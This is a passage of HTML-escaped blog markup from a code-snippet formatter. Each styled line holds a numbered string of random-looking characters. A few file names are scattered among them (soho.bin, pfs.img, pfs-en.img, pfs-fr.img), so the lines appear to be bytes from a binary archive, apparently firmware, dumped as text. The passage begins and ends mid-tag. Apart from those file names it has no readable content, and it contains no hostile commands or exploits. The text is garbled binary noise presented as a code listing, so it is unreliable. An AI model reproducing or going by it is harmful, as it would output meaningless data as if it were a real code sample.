line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; [3&amp;gt;z~&amp;amp;@71~&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; j&amp;amp;H[3Azn&amp;amp;D7dB&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; uPb)(]cC1f&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; fmp/[(|!Vi}&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; Z`?EU:f$q9&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt; Cao52io58:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt; ?a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&amp;gt;a{&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum10&quot;&gt;  10:&lt;/span&gt; &amp;gt;=0Ubg}n !&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum11&quot;&gt;  11:&lt;/span&gt; . ^NFt[Ge,&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum12&quot;&gt;  12:&lt;/span&gt; J](7edW)^wq/C&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum13&quot;&gt;  13:&lt;/span&gt; i^&lt;span style=&quot;color: #006080&quot;&gt;&#39;4,_$*5,/ X&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum14&quot;&gt;  14:&lt;/span&gt; f*|OeJ}Of|&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum15&quot;&gt;  15:&lt;/span&gt; )y~Z?/+y~N?//y~^?&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum16&quot;&gt;  16:&lt;/span&gt; mx2Et&quot;Et&quot;Et&quot;Et&quot;Et&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum17&quot;&gt;  17:&lt;/span&gt; =r;AW@n&#39;&lt;/span&gt;1or=]1&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum18&quot;&gt;  18:&lt;/span&gt; Fk?Ok?Ok?Ok?Ok&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum19&quot;&gt;  19:&lt;/span&gt; H2]I2]I2]I2]I2]I2]I2]I&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum20&quot;&gt;  20:&lt;/span&gt; e^7&amp;gt;Cb?8RF&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum21&quot;&gt;  21:&lt;/span&gt; /C~n.u^F.y^&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum22&quot;&gt;  22:&lt;/span&gt; (*:v#pZr;73&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum23&quot;&gt;  23:&lt;/span&gt; }VF9ge%bkk&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum24&quot;&gt;  24:&lt;/span&gt; p,i=?|/YNO&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum25&quot;&gt;  25:&lt;/span&gt; Pe./QFWeVW&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum26&quot;&gt;  26:&lt;/span&gt; qjdedJxEjD&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum27&quot;&gt;  27:&lt;/span&gt; a|:eT1Qn:=&amp;lt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum28&quot;&gt;  28:&lt;/span&gt; 42mX&amp;lt;bc`Y!&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum29&quot;&gt;  29:&lt;/span&gt; ,9m\LX2MK2M&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum30&quot;&gt;  30:&lt;/span&gt; Dv44&amp;gt;H7AyNW&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum31&quot;&gt;  31:&lt;/span&gt; mKtnX2]&amp;amp;5~}&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum32&quot;&gt;  32:&lt;/span&gt; !-`$p&amp;lt;xZ&amp;gt;3&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum33&quot;&gt;  33:&lt;/span&gt; %fW]={vMMm&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum34&quot;&gt;  34:&lt;/span&gt; qiS`E`Y`I`Q&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum35&quot;&gt;  35:&lt;/span&gt; soho.binUT&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum36&quot;&gt;  36:&lt;/span&gt; pfs.imgUT&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum37&quot;&gt;  37:&lt;/span&gt; Z*DF&amp;lt;@%#yi&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum38&quot;&gt;  38:&lt;/span&gt; oWEGb1WLF_SX&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum39&quot;&gt;  39:&lt;/span&gt; Dd8VpbAV#q&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum40&quot;&gt;  40:&lt;/span&gt; pfs-en.imgUT&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum41&quot;&gt;  41:&lt;/span&gt; HWA/=wXU?&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum42&quot;&gt;  42:&lt;/span&gt; 1h-e&amp;amp;W^s~E&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum43&quot;&gt;  43:&lt;/span&gt; EZfWaEcP+8*&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum44&quot;&gt;  44:&lt;/span&gt; .!cnGC|Ck`|&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum45&quot;&gt;  45:&lt;/span&gt; {&lt;span style=&quot;color: #006080&quot;&gt;&#39;6tWUWwWWW&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum46&quot;&gt;  46:&lt;/span&gt; O&amp;lt;{&amp;gt;){h)9*&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum47&quot;&gt;  47:&lt;/span&gt; pfs-en.imgUT&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum48&quot;&gt;  48:&lt;/span&gt; pfs-fr.imgUT&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum49&quot;&gt;  49:&lt;/span&gt; ]Fmq~iascqY&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum50&quot;&gt;  50:&lt;/span&gt; tm}}vqmAr-&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum51&quot;&gt;  51:&lt;/span&gt; &amp;gt;&amp;gt;y1    zLN3J]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum52&quot;&gt;  52:&lt;/span&gt; $Lo(I^FIVs&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum53&quot;&gt;  53:&lt;/span&gt; \T+uhMk7(=&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum54&quot;&gt;  54:&lt;/span&gt; Z6|&amp;lt;kdMpVr&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum55&quot;&gt;  55:&lt;/span&gt; eYn*ps[pYV\&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum56&quot;&gt;  56:&lt;/span&gt; 3Ol?]sll&amp;amp;GXb&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum57&quot;&gt; 